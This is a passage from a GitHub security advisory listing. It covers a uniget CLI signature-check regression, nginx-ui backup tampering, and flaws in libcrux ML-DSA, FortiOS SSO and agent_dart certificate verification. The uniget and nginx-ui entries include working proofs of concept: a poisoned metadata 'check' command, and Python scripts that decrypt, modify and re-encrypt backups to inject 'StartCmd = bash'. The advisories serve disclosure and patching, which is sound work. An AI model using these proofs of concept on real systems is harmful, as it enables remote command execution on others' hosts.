tool.Check)\n\tcmd := exec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d \u0027\\n\u0027\")\n```\n\n## How it got this way\n\nThe check was introduced correctly. In d12ef12c (\"fix: Only accept signed metadata\", released as v0.27.1) `VerifySigstoreBundle` was called unconditionally. 370d0155 then wrapped it in `if os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\") != \"true\"`, which is still the right polarity. b68a27d5 (\"fix: Accept any non-empty value\"), which is the commit tagged v0.27.4, rewrote that as `if len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) \u003e 0`. The intent was clearly to accept any truthy value instead of the literal string \"true\", but the negation was dropped in the rewrite and the meaning flipped.\n\n## Proof of concept\n\nBuilt from a clean checkout of the v0.28.2 tag with `go build -o /tmp/unigetbin ./cmd/uniget`, then run in user mode against a poisoned cache with no `metadata.json.sigstore.json` present and `UNIGET_IGNORE_METADATA_SIGNATURE` explicitly removed from the environment.\n\n```bash\nH=/tmp/pochome\nmkdir -p $H/.cache/uniget $H/.local/state/uniget/manifests $H/.local/bin $H/.config/uniget $H/.cache/uniget/evil\ncat \u003e $H/.cache/uniget/metadata.json \u003c\u003c\u0027EOF\u0027\n{\"tools\":[{\"name\":\"evil\",\"version\":\"1.0.0\",\"binary\":\"${target}/bin/evil\",\n\"check\":\"id \u003e /tmp/uniget-rce-proof.txt; echo PWNED\",\"tags\":[\"test\"],\n\"description\":\"poisoned metadata\",\"repository\":\"https://example.com\",\n\"license\":{\"name\":\"MIT\",\"link\":\"https://example.com\"},\n\"sources\":[{\"registry\":\"ghcr.io\",\"repository\":\"uniget-org/tools\"}]}]}\nEOF\nprintf \u0027#!/bin/sh\\necho 1.0.0\\n\u0027 \u003e $H/.local/bin/evil; chmod +x $H/.local/bin/evil\ntouch $H/.cache/uniget/evil/1.0.0\n\nenv -u UNIGET_IGNORE_METADATA_SIGNATURE HOME=$H XDG_CACHE_HOME=$H/.cache \\\n  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \\\n  /tmp/unigetbin --user version evil\n```\n\nObserved output:\n\n```text\nPWNED\n```\n\nand `/tmp/uniget-rce-proof.txt` contains the output of `id`. No signature error was raised, even though there is no bundle file at all.\n\nThe control run is the part that pins down the polarity. Same command, same poisoned metadata, only now a `metadata.json.sigstore.json` exists (deliberately not a valid bundle) and the \"ignore\" variable is set:\n\n```bash\necho \u0027{\"not\":\"a real bundle\"}\u0027 \u003e $H/.cache/uniget/metadata.json.sigstore.json\nUNIGET_IGNORE_METADATA_SIGNATURE=1 HOME=$H XDG_CACHE_HOME=$H/.cache \\\n  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \\\n  /tmp/unigetbin --user version evil\n```\n\nObserved output:\n\n```text\nError: error loading metadata: error verifying sigstore bundle for metadata: error loading bundle from path /tmp/pochome/.cache/uniget/metadata.json.sigstore.json: proto: (line 1:2): unknown field \"not\"\n```\n\nSo verification runs when the ignore variable is set, and does not run when it is unset.\n\n## Impact\n\nAnything that can substitute the metadata layer gets command execution as the user running uniget: a compromised or attacker-chosen registry or mirror for `uniget-org/tools`, a tampered tarball on the way into the cache, or a poisoned cache file. The sigstore bundle is the only thing standing between that metadata and `/bin/bash -c`, and right now it is not consulted. Locally this reproduces the CVE-2026-45152 scenario on a supposedly fixed version; the wider concern is that the supply chain check for the tool catalogue is effectively off for every user.\n\n## Suggested fix\n\nInvert the condition so verification is the default and the environment variable opts out:\n\n```go\nif len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) == 0 {\n\t_, err = security.VerifySigstoreBundle(...)\n\t...\n}\n```\n\nThe same inversion is needed at `cmd/uniget/main.go:104`, where the re-download decision should be \"the bundle is missing and we are not ignoring signatures\". It would also be worth failing closed when the `.sigstore.json` file is absent rather than treating a missing bundle as nothing to verify.\n\n## Deduplication\n\nCVE-2026-45152 (GHSA-qqq4-5773-pmw5) covers the `tool.Check` command injection itself and is marked patched in v0.27.1. This report is not that finding again: it is that the patch, which was the signature check, stopped running as of v0.27.4 because of the condition rewrite in b68a27d5. The other two published advisories, GHSA-m6jg-wr9m-cg2f and GHSA-qmcq-xw74-w667, are about hook file paths and the EDITOR variable and do not touch metadata loading.\n\n## How I found it and a note on tooling\n\nI was reading the shipped fix for CVE-2026-45152 to see whether the guard covered all the paths that reach `RunVersionCheck`, and the gate condition read backwards on first pass, so I walked the history of that line back to the commit that introduced it. I used AI tooling while investigating, and I built the CLI at v0.28.2 and ran both the exploit and the control myself before writing this up.",
  "id": "GHSA-fhgh-wq4q-r37x",
  "modified": "2026-08-17T17:50:34Z",
  "published": "2026-08-17T17:50:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/security/advisories/GHSA-fhgh-wq4q-r37x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uniget-org/cli"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/releases/tag/v0.28.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "uniget CLI: Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set"
}

GHSA-FHH2-GG7W-GWPQ

Vulnerability from github – Published: 2026-03-30 16:23 – Updated: 2026-07-06 19:35
VLAI
Summary
nginx-ui Backup Restore Allows Tampering with Encrypted Backups
Details

Summary

The nginx-ui backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.

Details

The backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (hash_info.txt) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.

Because the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.

The backup system is built around the following workflow:

  1. Backup files are compressed into nginx-ui.zip and nginx.zip.
  2. The files are encrypted using AES-256-CBC.
  3. SHA-256 hashes of the encrypted files are stored in hash_info.txt.
  4. The hash file is also encrypted with the same AES key and IV.
  5. The AES key and IV are provided to the client as a "backup security token".

This architecture creates a circular trust model:

  • The encryption key is available to the client.
  • The integrity metadata is encrypted with that same key.
  • The restore process trusts hashes contained within the backup itself.

Because the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.

Environment

  • OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)
  • Application Version: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)
  • Deployment: Docker Container default installation
  • Relevant Source Files:
  • backup_crypto.go
  • backup.go
  • restore.go
  • SystemRestoreContent.vue

PoC

  1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the .key file. image

  2. Decrypt the nginx-ui.zip archive using the obtained token.

import base64
import os
import sys
import zipfile
from io import BytesIO
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)

    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encrypted_data)
    return unpad(decrypted, AES.block_size)

def process_local_backup(file_path, token, output_dir):
    key_b64, iv_b64 = token.split(":")
    os.makedirs(output_dir, exist_ok=True)
    print(f"[*] File processing: {file_path}")

    with zipfile.ZipFile(file_path, 'r') as main_zip:
        main_zip.extractall(output_dir)

    files_to_decrypt = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]

    for filename in files_to_decrypt:
        path = os.path.join(output_dir, filename)
        if os.path.exists(path):
            with open(path, "rb") as f:
                encrypted = f.read()

            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)

            out_path = path + ".decrypted"
            with open(out_path, "wb") as f:
                f.write(decrypted)
            print(f"[*] Successfully decrypted: {out_path}")

# Manual config
BACKUP_FILE = "backup-20260314-151959.zip" 
TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
OUTPUT = "decrypted"

if __name__ == "__main__":
    process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)
  1. Modify the contained app.ini to inject malicious configuration (e.g., StartCmd = bash).
  2. Re-compress the files and calculate the new SHA-256 hash.
  3. Update hash_info.txt with the new, legitimate-looking hashes for the modified files.
  4. Encrypt the bundle again using the original Key and IV.
import base64
import hashlib
import os
import zipfile
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def encrypt_file(data, key_b64, iv_b64):
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.encrypt(pad(data, AES.block_size))

def build_rebuilt_backup(files, token, output_filename="backup_rebuild.zip"):
    key_b64, iv_b64 = token.split(":")

    encrypted_blobs = {}
    for fname in files:
        with open(fname, "rb") as f:
            data = f.read()

        blob = encrypt_file(data, key_b64, iv_b64)

        target_name = fname.replace(".decrypted", "")
        encrypted_blobs[target_name] = blob
        print(f"[*] Cipher {target_name}: {len(blob)} bytes")

    hash_content = ""
    for name, blob in encrypted_blobs.items():
        h = hashlib.sha256(blob).hexdigest()
        hash_content += f"{name}: {h}\n"

    encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)
    encrypted_blobs["hash_info.txt"] = encrypted_hash_info

    with zipfile.ZipFile(output_filename, 'w', compression=zipfile.ZIP_DEFLATED) as zf:
        for name, blob in encrypted_blobs.items():
            zf.writestr(name, blob)

    print(f"\n[*] Backup rebuild: {output_filename}")
    print(f"[*] Verificando integridad...")

TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
FILES = ["nginx-ui.zip.decrypted", "nginx.zip.decrypted"]

if __name__ == "__main__":
    build_rebuilt_backup(FILES, TOKEN)

  1. Upload the tampered backup to the nginx-ui restore interface. image

  2. Observation: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host. image

Impact

An attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.

Potential impacts include:

  • Persistent configuration tampering
  • Backdoor insertion into nginx configuration
  • Execution of attacker-controlled commands depending on configuration settings
  • Full compromise of the nginx-ui instance

The severity depends on the restore permissions and deployment configuration.

Recommended Mitigation

  1. Introduce a trusted integrity root Integrity metadata must not be derived solely from data contained in the backup. Possible solutions include:
  2. Signing backup metadata using a server-side private key

  3. Storing integrity metadata separately from the backup archive

  4. Enforce integrity verification The restore operation must abort if hash verification fails.

  5. Avoid circular trust models If encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.

  6. Optional cryptographic improvements While not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.

This vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.

Regression

The previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.

The backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.

As a result, the fundamental integrity weakness remains exploitable even after the previous fix.

A patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.

Severity
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.10-0.20260315015203-f61bcec547c0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312",
      "CWE-347",
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T16:23:34Z",
    "nvd_published_at": "2026-03-30T20:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nThe `nginx-ui` backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.\n\n## Details\nThe backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (`hash_info.txt`) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.\n\nBecause the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.\n\nThe backup system is built around the following workflow:\n\n1. Backup files are compressed into `nginx-ui.zip` and `nginx.zip`.\n2. The files are encrypted using AES-256-CBC.\n3. SHA-256 hashes of the encrypted files are stored in `hash_info.txt`.\n4. The hash file is also encrypted with the same AES key and IV.\n5. The AES key and IV are provided to the client as a \"backup security token\".\n\nThis architecture creates a circular trust model:\n\n- The encryption key is available to the client.\n- The integrity metadata is encrypted with that same key.\n- The restore process trusts hashes contained within the backup itself.\n\nBecause the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.\n\n### Environment\n- **OS**: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)\n- **Application Version**: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)\n- **Deployment**: Docker Container default installation\n- **Relevant Source Files**:\n  - `backup_crypto.go`\n  - `backup.go`\n  - `restore.go`\n  - `SystemRestoreContent.vue`\n\n\n## PoC\n1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the `.key` file.\n    \u003cimg width=\"1483\" height=\"586\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857a1b3f-ce66-4929-a165-2f28393df17f\" /\u003e\n\n2. Decrypt the `nginx-ui.zip` archive using the obtained token.\n``` \nimport base64\nimport os\nimport sys\nimport zipfile\nfrom io import BytesIO\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -\u003e bytes:\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    \n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    decrypted = cipher.decrypt(encrypted_data)\n    return unpad(decrypted, AES.block_size)\n\ndef process_local_backup(file_path, token, output_dir):\n    key_b64, iv_b64 = token.split(\":\")\n    os.makedirs(output_dir, exist_ok=True)\n    print(f\"[*] File processing: {file_path}\")\n    \n    with zipfile.ZipFile(file_path, \u0027r\u0027) as main_zip:\n        main_zip.extractall(output_dir)\n        \n    files_to_decrypt = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n    \n    for filename in files_to_decrypt:\n        path = os.path.join(output_dir, filename)\n        if os.path.exists(path):\n            with open(path, \"rb\") as f:\n                encrypted = f.read()\n            \n            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n            \n            out_path = path + \".decrypted\"\n            with open(out_path, \"wb\") as f:\n                f.write(decrypted)\n            print(f\"[*] Successfully decrypted: {out_path}\")\n\n# Manual config\nBACKUP_FILE = \"backup-20260314-151959.zip\" \nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nOUTPUT = \"decrypted\"\n\nif __name__ == \"__main__\":\n    process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)\n```\n\n3. Modify the contained `app.ini` to inject malicious configuration (e.g., `StartCmd = bash`).\n4. Re-compress the files and calculate the new SHA-256 hash.\n5. Update `hash_info.txt` with the new, legitimate-looking hashes for the modified files.\n6. Encrypt the bundle again using the original Key and IV.\n```\nimport base64\nimport hashlib\nimport os\nimport zipfile\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\n\ndef encrypt_file(data, key_b64, iv_b64):\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    return cipher.encrypt(pad(data, AES.block_size))\n\ndef build_rebuilt_backup(files, token, output_filename=\"backup_rebuild.zip\"):\n    key_b64, iv_b64 = token.split(\":\")\n    \n    encrypted_blobs = {}\n    for fname in files:\n        with open(fname, \"rb\") as f:\n            data = f.read()\n        \n        blob = encrypt_file(data, key_b64, iv_b64)\n\n        target_name = fname.replace(\".decrypted\", \"\")\n        encrypted_blobs[target_name] = blob\n        print(f\"[*] Cipher {target_name}: {len(blob)} bytes\")\n\n    hash_content = \"\"\n    for name, blob in encrypted_blobs.items():\n        h = hashlib.sha256(blob).hexdigest()\n        hash_content += f\"{name}: {h}\\n\"\n    \n    encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)\n    encrypted_blobs[\"hash_info.txt\"] = encrypted_hash_info\n\n    with zipfile.ZipFile(output_filename, \u0027w\u0027, compression=zipfile.ZIP_DEFLATED) as zf:\n        for name, blob in encrypted_blobs.items():\n            zf.writestr(name, blob)\n            \n    print(f\"\\n[*] Backup rebuild: {output_filename}\")\n    print(f\"[*] Verificando integridad...\")\n\nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nFILES = [\"nginx-ui.zip.decrypted\", \"nginx.zip.decrypted\"]\n\nif __name__ == \"__main__\":\n    build_rebuilt_backup(FILES, TOKEN)\n```\n7. Upload the tampered backup to the `nginx-ui` restore interface.\n   \u003cimg width=\"1059\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/66872685-b85b-4c81-ae24-13c811acba9a\" /\u003e\n\n\n8. **Observation**: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host.\n   \u003cimg width=\"1316\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2752749e-ac39-4d60-88ca-5058b8e840a6\" /\u003e\n\n\n\n## Impact\nAn attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.\n\nPotential impacts include:\n\n- Persistent configuration tampering\n- Backdoor insertion into nginx configuration\n- Execution of attacker-controlled commands depending on configuration settings\n- Full compromise of the nginx-ui instance\n\nThe severity depends on the restore permissions and deployment configuration.\n\n## Recommended Mitigation\n\n1. **Introduce a trusted integrity root**\nIntegrity metadata must not be derived solely from data contained in the backup. Possible solutions include:\n   - Signing backup metadata using a server-side private key\n   - Storing integrity metadata separately from the backup archive\n\n2. **Enforce integrity verification**\nThe restore operation must abort if hash verification fails.\n\n3. **Avoid circular trust models**\nIf encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.\n\n4. **Optional cryptographic improvements**\nWhile not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.\n\nThis vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.\n\n## Regression\n\nThe previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.\n\nThe backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.\n\nAs a result, the fundamental integrity weakness remains exploitable even after the previous fix.\n\nA patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.",
  "id": "GHSA-fhh2-gg7w-gwpq",
  "modified": "2026-07-06T19:35:49Z",
  "published": "2026-03-30T16:23:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-fhh2-gg7w-gwpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33026"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/f61bcec547c0f305e35348d6440ef156c1d5c3cb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-g9w5-qffc-6762"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4903"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "nginx-ui Backup Restore Allows Tampering with Encrypted Backups"
}

GHSA-FHVH-VW7H-9XF3

Vulnerability from github – Published: 2026-05-19 16:18 – Updated: 2026-05-19 16:18
VLAI
Summary
libcrux-ml-dsa: Signature Verification on AVX2 Platforms Mishandles Edge Case
Details

The AVX2 implementation of ML-DSA verification incorrectly implemented the use_hint function, mishandling an edge case that should lead to signature rejection.

Impact

An attacker could make the ML-DSA verifier accept a crafted invalid signature under a maliciously generated verification key, if the AVX2 implementation is used.

Mitigation

From version 0.0.9 the edge case is handled correctly and invalid signatures are rejected.

Severity
8.2 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "libcrux-ml-dsa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T16:18:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "The AVX2 implementation of ML-DSA verification incorrectly implemented\nthe `use_hint` function, mishandling an edge case that should lead to\nsignature rejection.\n\n## Impact\nAn attacker could make the ML-DSA verifier accept a crafted invalid\nsignature under a maliciously generated verification key, if the AVX2\nimplementation is used.\n\n## Mitigation\nFrom version `0.0.9` the edge case is handled correctly and invalid\nsignatures are rejected.",
  "id": "GHSA-fhvh-vw7h-9xf3",
  "modified": "2026-05-19T16:18:53Z",
  "published": "2026-05-19T16:18:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/C2SP/wycheproof/pull/234"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cryspen/libcrux/pull/1398"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tink-crypto/tink-go/pull/48"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cryspen/libcrux"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0125.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": " libcrux-ml-dsa: Signature Verification on AVX2 Platforms Mishandles Edge Case"
}

GHSA-FJJ2-P33C-F8QQ

Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2026-06-09 12:31
VLAI
Details

A improper verification of cryptographic signature vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2.0 through 7.2.11, FortiOS 7.0.0 through 7.0.17, FortiProxy 7.6.0 through 7.6.3, FortiProxy 7.4.0 through 7.4.10, FortiProxy 7.2.0 through 7.2.14, FortiProxy 7.0.0 through 7.0.21, FortiSwitchManager 7.2.0 through 7.2.6, FortiSwitchManager 7.0.0 through 7.0.5 allows an unauthenticated attacker to bypass the FortiCloud SSO login authentication via a crafted SAML response message.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-59718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T18:15:54Z",
    "severity": "CRITICAL"
  },
  "details": "A improper verification of cryptographic signature vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2.0 through 7.2.11, FortiOS 7.0.0 through 7.0.17, FortiProxy 7.6.0 through 7.6.3, FortiProxy 7.4.0 through 7.4.10, FortiProxy 7.2.0 through 7.2.14, FortiProxy 7.0.0 through 7.0.21, FortiSwitchManager 7.2.0 through 7.2.6, FortiSwitchManager 7.0.0 through 7.0.5 allows an unauthenticated attacker to bypass the FortiCloud SSO login authentication via a crafted SAML response message.",
  "id": "GHSA-fjj2-p33c-f8qq",
  "modified": "2026-06-09T12:31:59Z",
  "published": "2025-12-09T18:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59718"
    },
    {
      "type": "WEB",
      "url": "https://arcticwolf.com/resources/blog/arctic-wolf-observes-malicious-sso-logins-following-disclosure-cve-2025-59718-cve-2025-59719"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-864900.html"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-647"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-59718"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FMJ7-7GFW-64PG

Vulnerability from github – Published: 2024-10-15 17:33 – Updated: 2024-10-15 23:36
VLAI
Summary
Agent Dart is missing certificate verification checks
Details

Certificate verification (in lib/agent/certificate.dart) has been found to contain two issues: - During the delegation verification (in _checkDelegation function) the canister_ranges aren't verified. The impact of not checking the canister_ranges is that a subnet can sign canister responses in behalf of another subnet. You have more details in the IC specification here. Also for reference you can check how is this implemented in the agent-rs. - The certificate’s timestamp, i.e /time path, is not verified, meaning that the certificate effectively has no expiration time. The IC spec doesn’t specify an expiry times, it gives some suggestions, quoting: "A reasonable expiry time for timestamps in R.signatures and the certificate Cert is 5 minutes (analogously to the maximum allowed ingress expiry enforced by the IC mainnet). Delegations require expiry times of at least a week since the IC mainnet refreshes the delegations only after replica upgrades which typically happen once a week". For reference you can check how is this implemented in the agent-rs (here and here).

Additionally, seems replica signed queries aren’t implemented

Severity
0.0 (None)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
7.6 (High)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0-dev.28"
      },
      "package": {
        "ecosystem": "Pub",
        "name": "agent_dart"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0-dev.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-48915"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-15T17:33:50Z",
    "nvd_published_at": "2024-10-15T17:15:11Z",
    "severity": "HIGH"
  },
  "details": "Certificate verification (in [lib/agent/certificate.dart](https://github.com/AstroxNetwork/agent_dart/blob/main/lib/agent/certificate.dart)) has been found to contain two issues:\n   - During the delegation verification (in [_checkDelegation](https://github.com/AstroxNetwork/agent_dart/blob/f50971dfae3f536c1720f0084f28afbcf5d99cb5/lib/agent/certificate.dart#L162) function) the canister_ranges aren\u0027t verified. The impact of not checking the canister_ranges is that a subnet can sign canister responses in behalf of another subnet. You have more details in the IC specification [here](https://internetcomputer.org/docs/current/references/ic-interface-spec#certification-delegation). Also for reference you can check how is this implemented in [the agent-rs](https://github.com/dfinity/agent-rs/blob/608a3f4cfdcdfc5ca1ca74a1b9d33f2137a2d324/ic-agent/src/agent/mod.rs#L903-L914).\n    - The certificate\u2019s timestamp, i.e /time path, is not verified, meaning that the certificate effectively has no expiration time. The [IC spec](https://internetcomputer.org/docs/current/references/ic-interface-spec#http-query) doesn\u2019t specify an expiry times, it gives some suggestions, quoting: \"A reasonable expiry time for timestamps in R.signatures and the certificate Cert is 5 minutes (analogously to the maximum allowed ingress expiry enforced by the IC mainnet). Delegations require expiry times of at least a week since the IC mainnet refreshes the delegations only after replica upgrades which typically happen once a week\". For reference you can check how is this implemented in the agent-rs ([here](https://github.com/dfinity/agent-rs/blob/608a3f4cfdcdfc5ca1ca74a1b9d33f2137a2d324/ic-agent/src/agent/mod.rs#L820) and [here](https://github.com/dfinity/agent-rs/blob/608a3f4cfdcdfc5ca1ca74a1b9d33f2137a2d324/ic-agent/src/agent/mod.rs#L876-L887)).\n\n**Additionally**, seems [replica signed queries](https://internetcomputer.org/blog/features/replica-signed-queries) aren\u2019t implemented",
  "id": "GHSA-fmj7-7gfw-64pg",
  "modified": "2024-10-15T23:36:57Z",
  "published": "2024-10-15T17:33:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AstroxNetwork/agent_dart/security/advisories/GHSA-fmj7-7gfw-64pg"
    },
    {
      "type": "ADVISORY",
